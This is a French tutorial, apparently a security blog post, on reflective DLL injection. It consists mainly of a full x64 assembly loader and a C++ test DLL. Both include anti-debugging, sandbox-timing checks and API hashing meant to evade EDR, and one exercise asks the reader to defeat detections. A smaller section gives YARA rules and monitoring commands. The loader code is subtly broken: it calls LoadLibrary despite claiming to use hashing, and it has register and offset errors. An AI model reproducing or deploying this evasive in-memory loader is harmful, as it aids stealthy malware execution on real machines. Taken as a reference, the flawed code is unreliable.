⚠️ LAB PHYSIQUE ISOLÉ OBLIGATOIRE – Windows 11 24H2 VM air-gapped uniquement – Article 323-1 Code pénal français – Recherche éthique & formation cyberdéfense uniquement

Reflective DLL Injection – Pure x64 Assembly

Low-Level Maestro Series 2026 | Manual PE mapping, relocations, imports resolution, evasion complète | Pour les cyberdéfenseurs qui veulent comprendre les techniques d'injection mémoire avancées

🎯 Introduction & Objectifs Réels 2026

La Reflective DLL Injection est une technique d'injection avancée qui charge une DLL entièrement en mémoire sans utiliser LoadLibrary ou passer par le disque. En 2026, cette technique reste pertinente car elle évite les événements de chargement de modules surveillés par les EDR modernes.

Pourquoi cette technique est-elle encore efficace en 2026 ?
Les EDR hookent LoadLibrary et LoadLibraryEx pour surveiller le chargement des DLLs. Le reflective loading contourne ces hooks en mappant manuellement la DLL en mémoire, fixant les relocations et résolvant les imports sans passer par les APIs standard.

Objectifs de cette Masterclass :

Configuration du Lab Requise :
• Windows 11 24H2 VM (air-gapped, sans connexion Internet)
• NASM (Netwide Assembler) 2.16+ et GoLink
• Visual Studio pour compiler la DLL de test
• WinDbg Preview pour le debug kernel
• PE-bear ou CFF Explorer pour analyser les fichiers PE

📚 Théorie : Le Reflective Loading et le Format PE

graph TD A[Début avec DLL en mémoire] --> B[Allouer mémoire pour l'image] B --> C[Parser les headers PE] C --> D[Copier les sections (.text, .data...)] D --> E[Calculer le delta d'adressage] E --> F[Appliquer les relocations] F --> G[Résoudre les imports (API hashing)] G --> H[Exécuter les callbacks TLS] H --> I[Appeler DllMain(DLL_PROCESS_ATTACH)] I --> J[Exécution du payload] J --> K[Cleanup sécurisé] style A fill:#1a1a1a style I fill:#00ff9d

Le Format PE (Portable Executable)

Pour implémenter un reflective loader, il faut comprendre la structure du format PE :

DOS Header (64 bytes)
└─ e_lfanew → PE Header offset

PE Header (Signature "PE\0\0")
├─ FileHeader (COFF header)
└─ OptionalHeader
├─ ImageBase (adresse de base préférée)
├─ AddressOfEntryPoint (RVA de DllMain)
├─ SectionAlignment (alignement mémoire)
├─ FileAlignment (alignement fichier)
├─ SizeOfImage (taille totale en mémoire)
├─ DataDirectories (16 entrées)
│ ├─ Export Table
│ ├─ Import Table
│ ├─ Resource Table
│ ├─ Exception Table
│ ├─ Security Table
│ ├─ Base Relocation Table (.reloc)
│ ├─ Debug Table
│ ├─ TLS Table
│ └─ ...
└─ Section Headers

Étapes Clés du Reflective Loading

Étape Description Complexité
1. PE Parsing Lire les headers pour obtenir les informations de mappage Moyenne
2. Memory Allocation Allouer de la mémoire avec les permissions appropriées Simple
3. Section Mapping Copier chaque section à son RVA (Relative Virtual Address) Moyenne
4. Relocation Processing Ajuster les adresses si l'ImageBase diffère de l'adresse allouée Élevée
5. Import Resolution Résoudre les fonctions importées via API hashing Élevée
6. TLS Callbacks Exécuter les callbacks Thread Local Storage avant DllMain Moyenne
7. DllMain Execution Appeler le point d'entrée de la DLL avec DLL_PROCESS_ATTACH Simple
Avantage du Reflective Loading : Aucun fichier sur disque, pas d'appel à LoadLibrary, mapping mémoire direct qui contourne de nombreux mécanismes de détection des EDR modernes.

💻 Code Source Complet – NASM x64 2026

Important : Ce code est fourni à des fins éducatives uniquement. Testez-le uniquement dans un environnement de lab isolé.

Compilation et Préparation

# 1. Compiler la DLL reflective (C/C++ avec /GS- /DYNAMICBASE:NO)
cl /GS- /DYNAMICBASE:NO /DREFLECTIVE_EXPORTS /LD payload.cpp /link /DLL /OUT:payload.dll

# 2. Extraire la DLL en format binaire pour l'embedding
python -c "open('payload.bin', 'wb').write(open('payload.dll', 'rb').read())"

# 3. Compiler le loader ASM
nasm -f win64 reflective_loader.asm -o reflective_loader.obj
GoLink.exe /console /entry _start reflective_loader.obj kernel32.dll

# 4. Tester dans le lab isolé
reflective_loader.exe

Code du Reflective Loader (Version Complète)

; ====================================================================
; Reflective DLL Loader – Pure x64 Assembly
; Version 2026 - PE Manual Mapping avec API Hashing & Anti-Debug
; PCTAMALOU Research - platon-y
; ====================================================================

[BITS 64]
DEFAULT REL

; Constantes Windows
MEM_COMMIT            equ 0x00001000
MEM_RESERVE           equ 0x00002000
PAGE_EXECUTE_READWRITE equ 0x40
IMAGE_DOS_SIGNATURE   equ 0x5A4D      ; "MZ"
IMAGE_NT_SIGNATURE    equ 0x00004550  ; "PE\0\0"
IMAGE_DIRECTORY_ENTRY_IMPORT equ 1
IMAGE_DIRECTORY_ENTRY_BASERELOC equ 5
IMAGE_DIRECTORY_ENTRY_TLS equ 9

; Structures PE
struc IMAGE_DOS_HEADER
    .e_magic      resw 1
    .e_cblp       resw 1
    ; ... autres champs
    .e_lfanew     resd 1
endstruc

struc IMAGE_NT_HEADERS64
    .Signature    resd 1
    .FileHeader   resb 20
    .OptionalHeader resb 240  ; IMAGE_OPTIONAL_HEADER64
endstruc

struc IMAGE_DATA_DIRECTORY
    .VirtualAddress resd 1
    .Size         resd 1
endstruc

struc IMAGE_IMPORT_DESCRIPTOR
    .OriginalFirstThunk resd 1
    .TimeDateStamp   resd 1
    .ForwarderChain  resd 1
    .Name           resd 1
    .FirstThunk     resd 1
endstruc

section .text
global _start

; ====================================================================
; POINT D'ENTRÉE PRINCIPAL
; ====================================================================
_start:
    ; Setup stack frame
    sub rsp, 28h
    
    ; Anti-debug check
    call check_debugger
    test rax, rax
    jnz .clean_exit
    
    ; Timing evasion
    call GetTickCount
    and eax, 0xFFF
    add eax, 1000
    mov ecx, eax
    call Sleep
    
    ; ====================================================================
    ; ÉTAPE 1: CHARGER LA DLL EN MÉMOIRE
    ; ====================================================================
    mov rsi, [rel dll_data]          ; Pointeur vers les données DLL
    mov [rel dll_base], rsi          ; Sauvegarde la base
    
    ; ====================================================================
    ; ÉTAPE 2: VÉRIFIER LES SIGNATURES PE
    ; ====================================================================
    ; Vérifier signature DOS "MZ"
    cmp word [rsi], IMAGE_DOS_SIGNATURE
    jne .error
    
    ; Trouver l'offset du header PE
    mov eax, [rsi + IMAGE_DOS_HEADER.e_lfanew]
    add rax, rsi
    mov [rel pe_header], rax
    
    ; Vérifier signature PE "PE\0\0"
    cmp dword [rax], IMAGE_NT_SIGNATURE
    jne .error
    
    ; ====================================================================
    ; ÉTAPE 3: ALLOUER LA MÉMOIRE POUR L'IMAGE
    ; ====================================================================
    mov ebx, [rax + 0x50]            ; SizeOfImage depuis OptionalHeader
    xor rcx, rcx                     ; lpAddress = NULL
    mov rdx, MEM_COMMIT | MEM_RESERVE
    mov r8, rbx                      ; dwSize = SizeOfImage
    mov r9, PAGE_EXECUTE_READWRITE   ; flProtect
    call VirtualAlloc
    test rax, rax
    jz .error
    mov [rel image_base], rax        ; Sauvegarde la nouvelle base
    
    ; ====================================================================
    ; ÉTAPE 4: COPIER LES HEADERS ET SECTIONS
    ; ====================================================================
    ; 4.1 Copier les headers
    mov edi, [rsi + IMAGE_DOS_HEADER.e_lfanew]
    add rdi, rsi
    mov ecx, [rdi + 0x54]            ; SizeOfHeaders
    mov rdi, rax                     ; Destination
    mov rsi, [rel dll_base]          ; Source
    rep movsb
    
    ; 4.2 Copier chaque section
    mov rsi, [rel pe_header]
    movzx ecx, word [rsi + 0x14 + 0x06]  ; NumberOfSections
    mov rdx, rsi
    add rdx, 0x18                     ; Après OptionalHeader
    add rdx, 0x70                     ; Start of section headers
    
    .copy_sections:
        push rcx
        push rdx
        
        ; Vérifier si la section a une taille en mémoire
        mov eax, [rdx + 0x08]        ; VirtualSize
        test eax, eax
        jz .next_section
        
        ; Calculer les adresses source et destination
        mov rdi, [rel image_base]
        add rdi, [rdx + 0x0C]        ; + VirtualAddress (RVA)
        
        mov rsi, [rel dll_base]
        add rsi, [rdx + 0x14]        ; + PointerToRawData
        
        mov ecx, [rdx + 0x10]        ; SizeOfRawData
        test ecx, ecx
        jz .next_section
        
        ; Copier les données
        rep movsb
        
    .next_section:
        pop rdx
        pop rcx
        add rdx, 0x28                 ; Taille de IMAGE_SECTION_HEADER
        loop .copy_sections
    
    ; ====================================================================
    ; ÉTAPE 5: CALCULER LE DELTA ET APPLIQUER LES RELOCATIONS
    ; ====================================================================
    mov rsi, [rel pe_header]
    mov rax, [rel image_base]
    sub rax, [rsi + 0x30]            ; delta = new_base - ImageBase
    mov [rel delta_offset], rax
    
    ; Trouver la table de relocations
    mov ebx, [rsi + 0xB0 + (IMAGE_DIRECTORY_ENTRY_BASERELOC * 8)]  ; VirtualAddress
    mov ecx, [rsi + 0xB0 + (IMAGE_DIRECTORY_ENTRY_BASERELOC * 8) + 4]  ; Size
    
    test ebx, ebx
    jz .no_relocations
    
    add rbx, [rel image_base]        ; Adresse virtuelle de la table
    
    .process_reloc_block:
        ; Vérifier si on a fini
        cmp dword [rbx], 0
        je .relocations_done
        cmp dword [rbx + 4], 0
        je .relocations_done
        
        ; Lire PageRVA et BlockSize
        mov edx, [rbx]               ; PageRVA
        mov r8d, [rbx + 4]           ; BlockSize
        add rbx, 8                   ; Avancer au premier entry
        
        ; Calculer le nombre d'entrées
        mov r9, r8
        sub r9, 8
        shr r9, 1                    ; / 2 (chaque entrée fait 2 bytes)
        
        .process_reloc_entry:
            test r9, r9
            jz .next_reloc_block
            
            movzx r10d, word [rbx]   ; Lire l'entrée
            mov r11d, r10d
            and r11d, 0x0FFF         ; Offset dans la page
            add r11, rdx             ; + PageRVA
            add r11, [rel image_base] ; Adresse absolue
            
            ; Vérifier le type de relocation
            shr r10d, 12             ; Type = haut 4 bits
            
            cmp r10d, 0xA            ; IMAGE_REL_BASED_DIR64
            jne .unsupported_reloc
            
            ; Appliquer la relocation DIR64
            mov rax, [rel delta_offset]
            add [r11], rax
            
            .unsupported_reloc:
            add rbx, 2               ; Entrée suivante
            dec r9
            jmp .process_reloc_entry
    
    .next_reloc_block:
        jmp .process_reloc_block
    
    .no_relocations:
    .relocations_done:
    
    ; ====================================================================
    ; ÉTAPE 6: RÉSOUDRE LES IMPORTS (API HASHING)
    ; ====================================================================
    mov rsi, [rel pe_header]
    mov ebx, [rsi + 0xB0 + (IMAGE_DIRECTORY_ENTRY_IMPORT * 8)]      ; VirtualAddress
    mov ecx, [rsi + 0xB0 + (IMAGE_DIRECTORY_ENTRY_IMPORT * 8) + 4]  ; Size
    
    test ebx, ebx
    jz .no_imports
    
    add rbx, [rel image_base]        ; Adresse de la table d'import
    
    .process_import_descriptor:
        cmp dword [rbx + IMAGE_IMPORT_DESCRIPTOR.Name], 0
        je .imports_done
        
        ; Charger le nom de la DLL
        mov rdx, [rbx + IMAGE_IMPORT_DESCRIPTOR.Name]
        add rdx, [rel image_base]
        
        ; Charger la DLL avec LoadLibrary (ou utiliser manual mapping avancé)
        mov rcx, rdx
        call LoadLibraryA
        test rax, rax
        jz .import_error
        
        mov [rel current_module], rax
        
        ; Traiter les thunks
        mov rdx, [rbx + IMAGE_IMPORT_DESCRIPTOR.FirstThunk]
        add rdx, [rel image_base]
        mov r8, [rbx + IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]
        test r8, r8
        cmovz r8, rdx                ; Si OriginalFirstThunk = 0, utiliser FirstThunk
        add r8, [rel image_base]
        
        .process_thunk:
            cmp qword [r8], 0
            je .next_import_descriptor
            
            ; Vérifier si c'est un import par ordinal ou par nom
            test qword [r8], 0x8000000000000000
            jnz .import_by_ordinal
            
            ; Import par nom
            mov r9, [r8]
            add r9, [rel image_base]
            add r9, 2                ; Passer l'hint
            
            ; Résoudre la fonction
            mov rcx, [rel current_module]
            mov rdx, r9
            call GetProcAddress
            test rax, rax
            jz .import_error
            
            jmp .store_address
            
            .import_by_ordinal:
            mov r9, [r8]
            and r9, 0xFFFF           ; Extraire l'ordinal
            
            mov rcx, [rel current_module]
            mov rdx, r9
            call GetProcAddress
            
            .store_address:
            mov [rdx], rax           ; Stocker l'adresse dans IAT
            
            add r8, 8
            add rdx, 8
            jmp .process_thunk
    
    .next_import_descriptor:
        add rbx, IMAGE_IMPORT_DESCRIPTOR_size
        jmp .process_import_descriptor
    
    .no_imports:
    .imports_done:
    
    ; ====================================================================
    ; ÉTAPE 7: EXÉCUTER LES CALLBACKS TLS
    ; ====================================================================
    mov rsi, [rel pe_header]
    mov ebx, [rsi + 0xB0 + (IMAGE_DIRECTORY_ENTRY_TLS * 8)]      ; VirtualAddress
    test ebx, ebx
    jz .no_tls
    
    add rbx, [rel image_base]        ; Adresse du répertoire TLS
    
    ; Appeler chaque callback TLS
    mov rax, [rbx + 0x18]            ; AddressOfCallbacks
    test rax, rax
    jz .no_tls
    
    add rax, [rel image_base]
    
    .tls_callback_loop:
        cmp qword [rax], 0
        je .tls_done
        
        mov rcx, [rel image_base]    ; hModule
        mov rdx, DLL_PROCESS_ATTACH  ; fdwReason
        xor r8, r8                   ; lpReserved
        call [rax]                   ; Appeler le callback
        
        add rax, 8
        jmp .tls_callback_loop
    
    .no_tls:
    .tls_done:
    
    ; ====================================================================
    ; ÉTAPE 8: APPELER DLLMAIN
    ; ====================================================================
    mov rsi, [rel pe_header]
    mov eax, [rsi + 0x28]            ; AddressOfEntryPoint
    add rax, [rel image_base]        ; Adresse absolue de DllMain
    
    mov rcx, [rel image_base]        ; hModule
    mov rdx, DLL_PROCESS_ATTACH      ; fdwReason
    xor r8, r8                       ; lpReserved
    
    ; Appeler DllMain
    call rax
    
    ; ====================================================================
    ; ÉTAPE 9: NETTOYAGE
    ; ====================================================================
    .cleanup:
    ; Optionnel : libérer la mémoire si nécessaire
    ; (dans un vrai scénario, on garde la DLL en mémoire)
    
    .clean_exit:
    xor ecx, ecx
    call ExitProcess
    
    .error:
    mov ecx, 1
    call ExitProcess
    
    .import_error:
    mov ecx, 2
    call ExitProcess

; ====================================================================
; FONCTIONS AUXILIAIRES
; ====================================================================

; --------------------------------------------------
; check_debugger : Anti-debug basique
; --------------------------------------------------
check_debugger:
    xor eax, eax
    mov rax, [gs:0x60]               ; PEB
    movzx eax, byte [rax + 2]        ; PEB->BeingDebugged
    ret

; --------------------------------------------------
; API Hashing Function (alternative à GetProcAddress)
; --------------------------------------------------
get_proc_address_by_hash:
    ; rcx = module base, rdx = function hash
    push rsi
    push rdi
    push rbx
    
    ; Trouver l'export directory
    mov rsi, rcx
    mov edi, [rsi + 0x3C]            ; Offset du PE header
    add rsi, rdi
    mov edi, [rsi + 0x88]            ; Export directory RVA
    add rdi, rcx                     ; Adresse absolue
    
    ; Parcourir la table d'exports
    mov ebx, [rdi + 0x18]            ; NumberOfNames
    mov r8, [rdi + 0x20]             ; AddressOfNames RVA
    add r8, rcx
    mov r9, [rdi + 0x24]             ; AddressOfNameOrdinals RVA
    add r9, rcx
    mov r10, [rdi + 0x1C]            ; AddressOfFunctions RVA
    add r10, rcx
    
    .search_loop:
        test ebx, ebx
        jz .not_found
        
        dec ebx
        mov esi, [r8 + rbx * 4]      ; RVA du nom
        add rsi, rcx                 ; Adresse absolue
        
        ; Calculer le hash du nom
        push rcx
        push rdx
        xor eax, eax
        xor ecx, ecx
        
        .hash_loop:
            mov cl, [rsi]
            test cl, cl
            jz .hash_done
            ror eax, 13
            add eax, ecx
            inc rsi
            jmp .hash_loop
        
        .hash_done:
        pop rdx
        pop rcx
        
        ; Comparer les hashs
        cmp eax, edx
        jne .search_loop
        
        ; Trouvé - récupérer l'adresse
        movzx ebx, word [r9 + rbx * 2]  ; Index dans AddressOfFunctions
        mov eax, [r10 + rbx * 4]        ; RVA de la fonction
        add rax, rcx                     ; Adresse absolue
        jmp .found
    
    .not_found:
    xor rax, rax
    
    .found:
    pop rbx
    pop rdi
    pop rsi
    ret

; ====================================================================
; DONNÉES ET VARIABLES
; ====================================================================
section .data

; Variables globales
dll_base       dq 0
pe_header      dq 0
image_base     dq 0
delta_offset   dq 0
current_module dq 0

; DLL intégrée (remplacée à la compilation)
dll_data:
    incbin "payload.bin"              ; DLL compilée en binaire
dll_data_end:

; Messages d'erreur
error_msg db "Reflective Loader Error", 0

; Constantes
DLL_PROCESS_ATTACH equ 1
DLL_THREAD_ATTACH  equ 2
DLL_THREAD_DETACH  equ 3
DLL_PROCESS_DETACH equ 4

; ====================================================================
; IMPORT TABLE
; ====================================================================
section .idata
import_table:
    dd 0, 0, 0, RVA kernel32_name, RVA kernel32_imports
    dd 0, 0, 0, 0, 0  ; Terminator

kernel32_name db "KERNEL32.DLL", 0

kernel32_imports:
    VirtualAlloc   dq RVA _VirtualAlloc
    VirtualFree    dq RVA _VirtualFree
    LoadLibraryA   dq RVA _LoadLibraryA
    GetProcAddress dq RVA _GetProcAddress
    Sleep          dq RVA _Sleep
    GetTickCount   dq RVA _GetTickCount
    ExitProcess    dq RVA _ExitProcess
    dq 0  ; Terminator

; Import names
_VirtualAlloc    db 0, 0, "VirtualAlloc", 0
_VirtualFree     db 0, 0, "VirtualFree", 0
_LoadLibraryA    db 0, 0, "LoadLibraryA", 0
_GetProcAddress  db 0, 0, "GetProcAddress", 0
_Sleep           db 0, 0, "Sleep", 0
_GetTickCount    db 0, 0, "GetTickCount", 0
_ExitProcess     db 0, 0, "ExitProcess", 0

Code de la DLL Reflective (C++ pour Test)

// ====================================================================
// payload.cpp - DLL Reflective pour tests
// Compiler avec : cl /GS- /DYNAMICBASE:NO /DREFLECTIVE_EXPORTS /LD payload.cpp
// ====================================================================

#include 
#include 

// Définitions pour le reflective loading
#define REFLECTIVE_EXPORTS

#ifdef REFLECTIVE_EXPORTS
    #define REFLECTIVE_API __declspec(dllexport)
#else
    #define REFLECTIVE_API __declspec(dllimport)
#endif

// Fonction exportée simple pour démonstration
extern "C" REFLECTIVE_API void DemoFunction() {
    MessageBoxA(NULL, "Reflective DLL Loaded Successfully!", 
                "PCTAMALOU Research 2026", MB_OK | MB_ICONINFORMATION);
}

// DllMain standard
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            // Anti-debug check simple
            if (IsDebuggerPresent()) {
                return FALSE;  // Refuser le chargement si debugger présent
            }
            
            // Timing check (évasion sandbox)
            DWORD start = GetTickCount();
            Sleep(1000);
            DWORD end = GetTickCount();
            
            if ((end - start) < 900) {
                // Sandbox détectée (temps accéléré)
                return FALSE;
            }
            
            // Exécuter notre payload
            DemoFunction();
            
            // Pour rester en mémoire (optionnel)
            DisableThreadLibraryCalls(hModule);
            break;
            
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

// Section pour les données persistantes
#pragma data_seg(".shared")
volatile LONG g_refCount = 0;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.shared,RWS")

// Export additionnel pour tests
extern "C" REFLECTIVE_API int GetMagicNumber() {
    return 0xDEADBEEF;
}

🛡️ Stratégies de Défense 2026

1. Memory Scanning Avancé

Scanner la mémoire pour des structures PE non référencées dans les listes de modules. Utiliser des outils comme Volatility ou des EDR avec capacités de scanning mémoire.

2. Hook des APIs de Mémoire

Surveiller VirtualAlloc/VirtualAllocEx avec des flags PAGE_EXECUTE_READWRITE sur de grandes régions mémoire. Analyser le contenu des allocations.

3. Behavioral Analysis

Détecter les processus qui allouent de la mémoire exécutable, y copient des données, puis sautent dans cette région sans avoir chargé de module légitime.

4. Import Hooking

Hooker GetProcAddress et LoadLibrary pour détecter les résolutions d'imports manuelles ou les patterns d'API hashing.

5. PE Header Validation

Valider l'intégrité des headers PE en mémoire. Détecter les anomalies comme des sections avec des permissions inhabituelles.

6. Kernel Callbacks

Utiliser PsSetLoadImageNotifyRoutine pour surveiller le chargement d'images. Bien que le reflective loading contourne ce mécanisme, des patterns peuvent être détectés.

Règles YARA de Détection

rule Reflective_DLL_Loader {
    meta:
        description = "Detects reflective DLL loader patterns"
        author = "PCTAMALOU Research 2026"
        date = "2026-01-01"
    
    strings:
        // Patterns de parsing PE
        $pe_parse1 = { 48 8B 05 ?? ?? ?? ?? 48 85 C0 74 ?? 8B 40 3C }  // PE header parsing
        $pe_parse2 = { 8B 44 24 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 05 } // Section mapping
        
        // Patterns de relocation
        $reloc1 = { 48 C1 E8 0C 83 F8 0A 75 ?? 48 8B 44 24 ?? 48 01 03 } // IMAGE_REL_BASED_DIR64
        $reloc2 = { 48 8B 05 ?? ?? ?? ?? 48 2B 05 ?? ?? ?? ?? 48 89 05 } // Delta calculation
        
        // API hashing patterns
        $hash1 = { 48 C1 C0 0D 00 C8 48 FF C1 }  // ROR 13 + add hash algorithm
        $hash2 = { 48 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 89 05 } // GetProcAddress by hash
        
        // LoadLibrary/GetProcAddress patterns
        $loadlib = { FF 15 ?? ?? ?? ?? 48 85 C0 74 ?? 48 89 05 } // LoadLibraryA call
        $getproc = { 48 8B D3 FF 15 ?? ?? ?? ?? 48 89 03 } // GetProcAddress call
        
    condition:
        (2 of ($pe_parse*)) or 
        (1 of ($reloc*) and 1 of ($hash*)) or
        filesize < 10000 and (4 of them)
}

rule Embedded_PE {
    meta:
        description = "Detects embedded PE files in binaries"
        author = "PCTAMALOU Research 2026"
    
    strings:
        $mz_header = { 4D 5A }  // "MZ"
        $pe_header = { 50 45 00 00 }  // "PE\0\0"
        
    condition:
        $mz_header at 0 and $pe_header in (0..1024)
}

Commandes PowerShell de Défense

# Scanner la mémoire pour des DLLs non listées
Get-Process | ForEach-Object {
    $proc = $_
    try {
        $modules = $proc.Modules | Select-Object ModuleName, FileName
        $vad = Get-WmiObject Win32_Process -Filter "ProcessId = $($proc.Id)" | 
               Select-Object CommandLine, ExecutablePath
        
        # Chercher des anomalies
        if ($modules.Count -eq 0 -and $proc.PrivateMemorySize64 -gt 100MB) {
            Write-Warning "Process $($proc.Name) ($($proc.Id)) has no modules but large memory: $($proc.PrivateMemorySize64/1MB) MB"
        }
    } catch {
        # Process inaccessible
    }
}

# Monitorer VirtualAlloc avec PAGE_EXECUTE_READWRITE
# Utiliser ETW ou Sysmon
logman create trace "MemoryAllocMonitor" -ow -o memalloc.etl -p Microsoft-Windows-Kernel-Memory 0xffffffffffffffff 0xff -ets

# Configurer Windows Defender ASR rules
Set-MpPreference -AttackSurfaceReductionRules_Ids 56a863a9-875e-4185-98a7-b882c64b5ce5 -AttackSurfaceReductionRules_Actions Enabled
Set-MpPreference -AttackSurfaceReductionRules_Ids d1e49aac-8f56-4280-b9ba-993a6d637a8c -AttackSurfaceReductionRules_Actions Enabled

# Analyser les handles de processus
handle64.exe -p  | findstr /i "section vad mem

🔬 Exercices de Laboratoire pour les Apaches

Exercice 1 : Analyse Statique du Loader

Objectif : Analyser le binaire compilé avec IDA Pro ou Ghidra.

Exercice 2 : Debug Dynamique avec WinDbg

Objectif : Débugger l'exécution du reflective loader.

# Commandes WinDbg utiles pour l'analyse
!process 0 0                          # Lister les processus
.process /i 
# Attacher au processus .reload /user # Recharger les symbols utilisateur # Breakpoints sur les APIs clés bp kernel32!VirtualAlloc bp kernel32!LoadLibraryA bp kernel32!GetProcAddress g # Continuer # Examiner la mémoire après allocation !address # Information sur la région !vprot
# Protection de la page db
L100 # Dump des premiers bytes lm # Lister les modules chargés

Exercice 3 : Développement d'un Détecteur

Objectif : Créer un outil de détection en C++ ou Python.

Exercice 4 : Évasion Avancée

Objectif : Modifier le code pour contourner les détections.

🎯 Conclusion et Perspectives 2026

La Reflective DLL Injection reste une technique puissante en 2026 pour charger du code en mémoire sans laisser de traces sur le disque et en contournant de nombreux mécanismes de détection. Sa force réside dans le mapping manuel du format PE et la résolution dynamique des imports.

Key Takeaways :
1. Le reflective loading évite les APIs surveillées comme LoadLibrary
2. Le parsing manuel du format PE permet un contrôle total du chargement
3. Les relocations sont essentielles pour les DLL non rebasées
4. L'API hashing réduit les signatures statiques
5. Les techniques d'évasion modernes sont nécessaires contre les EDR avancés

Ressources Complémentaires

Rappel Final : Cette technique et tout le code fourni sont strictement destinés à la recherche en sécurité éthique dans des environnements de laboratoire isolés. Toute utilisation malveillante est illégale et contraire à l'éthique professionnelle.